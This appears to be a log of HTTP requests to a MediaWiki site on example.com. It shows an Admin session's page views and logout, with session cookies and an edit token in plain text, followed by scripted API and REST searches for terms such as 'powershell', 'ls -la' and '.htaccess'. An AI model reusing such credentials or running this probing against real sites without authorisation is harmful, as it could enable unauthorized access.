{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+.htaccess.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2F.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=.h&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Watchlist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.feedlink%2Chelplink%2Cspecial%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.rcfilters.filters.base.styles%7Cmediawiki.rcfilters.highlightCircles.seenunseen.styles%7Cmediawiki.special.changeslist%7Cmediawiki.special.changeslist.enhanced%2Clegend%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:Watchlist", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2CmakeCollapsible%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.pager.codex%7Cmediawiki.rcfilters.filters.ui%7Cmediawiki.special.changeslist.legend.js%7Cmediawiki.special.watchlist%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui-widgets.icons%7Coojs-ui-windows.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-editing-styling%2Cicons-interactions%2Cicons-layout%2Cicons-media%2Cicons-moderation%2Cindicators%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=xzl3m", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:Watchlist", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Preferences", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.preferences.styles.ooui%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Cmediawiki.widgets.TagMultiselectWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui-widgets.styles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:Preferences", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Coojs-ui-windows%2Cvue%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.editfont.styles%7Cmediawiki.htmlform.ooui%7Cmediawiki.languageselector.core%2Clookup%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.notification.convertmessagebox%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.preferences.ooui%7Cmediawiki.widgets.LanguageSelectWidget%2CSelectWithInputWidget%2CUsersMultiselectWidget%2CvisibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui-windows.icons%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1vc9l", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:Preferences", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:UserLogout&returnto=Main+Page", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserLogout", "headers": ["Host: example.com", "Content-Length: 142", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:UserLogout&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": "title=Special%3AUserLogout&wpEditToken=d8d2eb46967072943325a81909a240c96af22684%2B%5C&returnto=Main+Page&redirectparams=returnto%3DMain%2BPage"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.htmlform.ooui.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:UserLogout", "Accept-Encoding: gzip, deflate", "Cookie: my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&format=json&aplimit=50", "headers": ["Host: example.com", "User-Agent: Wget", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&format=json", "headers": ["Host: example.com", "User-Agent: Wget", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=Lighthouse&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=Lighthouse&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=Lighthouse&apprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=Lighthouse+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=Lighthouse+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=Lighthouse+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2FLighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=Lighthouse&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=Lighthouse&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Lighthouse_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Lighthouse_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=python3&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=python3&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=python3&apprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=Python3+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=Python3+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=Python3+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2Fpython3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=python3&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=python3&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Python3_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Python3_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=powershell&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=powershell&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=powershell&apprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=Powershell+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=Powershell+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=Powershell+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2Fpowershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=powershell&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=powershell&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Powershell_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Powershell_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=ls+-la&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=ls+-la&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=ls+-la&apprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=Ls+-la+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=Ls+-la+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=Ls+-la+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2Fls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=ls+-la&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=ls+-la&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Ls_-la_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Ls_-la_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=.htaccess&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=.htaccess&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=.htaccess&apprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=.htaccess+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=.htaccess+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=.htaccess+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2F.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=.htaccess&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=.htaccess&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
